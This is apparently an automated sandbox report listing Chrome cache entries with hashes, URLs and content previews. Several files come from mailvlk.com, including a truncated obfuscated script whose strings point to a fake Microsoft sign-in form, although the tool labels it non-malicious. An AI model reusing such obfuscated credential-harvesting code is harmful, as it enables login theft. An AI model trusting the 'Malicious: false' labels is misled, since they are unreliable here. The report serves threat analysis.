Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	downloaded
Size (bytes):	30255
Entropy (8bit):	4.483239644944075
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP/:Y4V4iCqaRX9nuISCkb
MD5:	D83E3AC97F50015772478BA01AF056EB
SHA1:	0C948C88A9122FA9AEB5CEB76BCDF769075F4332
SHA-256:	6701702F080B4E68D008CBBB4C8DE5396EB1D42303199F2E9CBB0E51EB98AB59
SHA-512:	A909457A52DE7674212778CCB7625955C8D323009D50AE7179A4CCDAFA154E1B3A9F2005F40FC2E52ECB4F46AA62937D9D5CADCEB86F9330A0E7C8F7F0BE71E7
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	5.2804407743048944
Encrypted:	false
SSDEEP:	192:wtIrjU2y/QZN5uvVRQ+tslFqEMkewx+No91m8mq9Ana1opn:wKXU2y/QZN5uvVyFq7kew0xLa1Y
MD5:	B6C202188699B897BB727A68EDD24665
SHA1:	FF3B891E06C983DCA277C1D7D874C8EB8084EB96
SHA-256:	184A034CB9202937BF012AFF8C81E0747B7CA8F8F9E6115556FDB09D5BAEC419
SHA-512:	AD8D243B156841EC27CA057CF1E0F64B8802E0DF64F79000739605CDE2C9A9FA1E3E24D153AB34A7AA66F726FC701816CA116052F4129AF3FB78D8F4057EE9F8
Malicious:	false
URL:	https://mailvlk.com/js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf
Preview:	var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f255,_0x432ca9){var _0xb8cc2=_0xe936,_0x553352=_0x18f255();while(!![]){try{var _0x1c3eea=-parseInt(_0xb8cc2(0x161))/0x1+-parseInt(_0xb8cc2(0x132))/0x2+parseInt(_0xb8cc2(0x154))/0x3+-parseInt(_0xb8cc2(0x16c))/0x4+parseInt(_0xb8cc2(0x12e))/0x5+parseInt(_0xb8cc2(0x174))/0x6+-parseInt(_0xb8cc2(0x136))/0x7;if(_0x1c3eea===_0x432ca9)break;else _0x553352['push'](_0x553352['shift']());}catch(_0x104ec1){_0x553352['push'](_0x553352['shift']());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirect','reload','.light

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 706 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	57945
Entropy (8bit):	7.93211104193223
Encrypted:	false
SSDEEP:	1536:LzXUCBfQzSf9TyUrWLeq36mTY36Yvjt3iStVSExlB9VwS:LzXUCBPQKDmK6YvjF99VJ
MD5:	487727B64F96590CCC9EED1A395D6CB0
SHA1:	0C63E5A05B8341D8514966775B87A7820FB10045
SHA-256:	E42398F63E41361956031504A4F1960CFF969F1FBB317D2BDF19C81FDAEED8AC
SHA-512:	7C59FCA6BDB111E1F958BAD3BFD15B6EF74BB500937719CC6E05932743CFB04F06145B89C8BC50C07F4865E52EEE877B764B453471427372741B6A4F639AEC5F
Malicious:	false
Preview:	.PNG........IHDR..............2.f...=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..g*p...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://mailvlk.com/o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://mailvlk.com/boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 810 x 276, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47204
Entropy (8bit):	7.963077583725303
Encrypted:	false
SSDEEP:	768:CfpXSoaX53Oohbrc1k727w+N47WZ9XyXaPzQQMbTegq5xvb4tBnrjAky3YL:MpXzapHbrc1kq7/XIygq590DL
MD5:	BEE061676E3946E61D1B999E1728B774
SHA1:	3817D29DE4C72BC97270C4387BE66307A56E9ED2
SHA-256:	95476934E0E99D75B929EF8F4E86B0220D477B4C46D06AF8F4D254F605B6464E
SHA-512:	6C30A202C15D971ECA1A4E2EF1A43A9433102D5445126AC0CC1B309D24661491A1535C894A227A28CA0A1444B084147447942E0078FFA63EAA60E2A60C105B77
Malicious:	false
Preview:	.PNG........IHDR.............&.3...=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..gp...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	30255
Entropy (8bit):	4.483239644944075
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP/:Y4V4iCqaRX9nuISCkb
MD5:	D83E3AC97F50015772478BA01AF056EB
SHA1:	0C948C88A9122FA9AEB5CEB76BCDF769075F4332
SHA-256:	6701702F080B4E68D008CBBB4C8DE5396EB1D42303199F2E9CBB0E51EB98AB59
SHA-512:	A909457A52DE7674212778CCB7625955C8D323009D50AE7179A4CCDAFA154E1B3A9F2005F40FC2E52ECB4F46AA62937D9D5CADCEB86F9330A0E7C8F7F0BE71E7
Malicious:	false
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65461)
Category:	downloaded
Size (bytes):	711081
Entropy (8bit):	5.444336573525724
Encrypted:	false
SSDEEP:	3072:Ns0tPO7ZVKF61InSjikH0Gu0r2ee6PnBdHQdU1HECHttsMkO3bBqMG/+9coZukG6:N7tPOCWPQdUzCO3bBL9jZVGiMRlRhxkR
MD5:	FDC2BE4EB54FF521EB5F6CA57AEDAE03
SHA1:	580FEFB1274BB5A21E34DC206D3F042512CA2EDC
SHA-256:	36C366BC39F4B2EB17CC2EAC87B9B94199CB4DFC0FF9F3D8A2F4C2EADE1BB9C3
SHA-512:	42939CBF474C6593774F5B5FF13A5E9FCDDE7CAAE05229CBE9804C1368337B892EB3ED96CA85133A34AC0551696B4995EA203773B474BF31E50780BF9BDD53C2
Malicious:	false
URL:	https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Preview:	/! For license information please see FormLoader.bundle.js.LICENSE.txt /.var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.prototype=n,new e}();!function(e){!function(t){var n="URLSearchParams"in e,r="Symbol"in e&&"iterator"in Symbol,i="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),a="FormData"in e,o="ArrayBuffer"in e;if(o)var s=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],u=ArrayBuffer.isView\|\|function(e){return e&&s.indexOf(Object.prototype.toString.call(e))>-1};function c(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`\|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function l(e){return"strin

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 714 x 286, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	40703
Entropy (8bit):	7.906814163118421
Encrypted:	false
SSDEEP:	768:GHVgR5pzHS2qdaokaGJ8CrNae/4bq2FyKX6kdWMu:RPpzHSrUoH0Nae/r2oKJdWZ
MD5:	3BED7EB659D5472C0A7B60C5CC6453FE
SHA1:	8BDD5D755427E7237575DAD6F959BAFC8A981286
SHA-256:	88EEA66E99B76BE53884156200374F48D3F033FD6E7DDFA9405A4E60C92725F5
SHA-512:	BEFACD1A1965769B2F17AAFCACD2EB64F3F5F5906EA6F233E4991E96C535B7190B2F256C9119485A56B9AC020562309241D246B02B5AD1C2C76D118F499E1CD5
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870
Preview:	.PNG........IHDR...............3....=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..g*p...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://mailvlk.com/x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 810 x 276, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	47204
Entropy (8bit):	7.963077583725303
Encrypted:	false
SSDEEP:	768:CfpXSoaX53Oohbrc1k727w+N47WZ9XyXaPzQQMbTegq5xvb4tBnrjAky3YL:MpXzapHbrc1kq7/XIygq590DL
MD5:	BEE061676E3946E61D1B999E1728B774
SHA1:	3817D29DE4C72BC97270C4387BE66307A56E9ED2
SHA-256:	95476934E0E99D75B929EF8F4E86B0220D477B4C46D06AF8F4D254F605B6464E
SHA-512:	6C30A202C15D971ECA1A4E2EF1A43A9433102D5445126AC0CC1B309D24661491A1535C894A227A28CA0A1444B084147447942E0078FFA63EAA60E2A60C105B77
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870
Preview:	.PNG........IHDR.............&.3...=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..gp...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 714 x 286, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	40703
Entropy (8bit):	7.906814163118421
Encrypted:	false
SSDEEP:	768:GHVgR5pzHS2qdaokaGJ8CrNae/4bq2FyKX6kdWMu:RPpzHSrUoH0Nae/r2oKJdWZ
MD5:	3BED7EB659D5472C0A7B60C5CC6453FE
SHA1:	8BDD5D755427E7237575DAD6F959BAFC8A981286
SHA-256:	88EEA66E99B76BE53884156200374F48D3F033FD6E7DDFA9405A4E60C92725F5
SHA-512:	BEFACD1A1965769B2F17AAFCACD2EB64F3F5F5906EA6F233E4991E96C535B7190B2F256C9119485A56B9AC020562309241D246B02B5AD1C2C76D118F499E1CD5
Malicious:	false
Preview:	.PNG........IHDR...............3....=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..g*p...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	491
Entropy (8bit):	5.102642067172859
Encrypted:	false
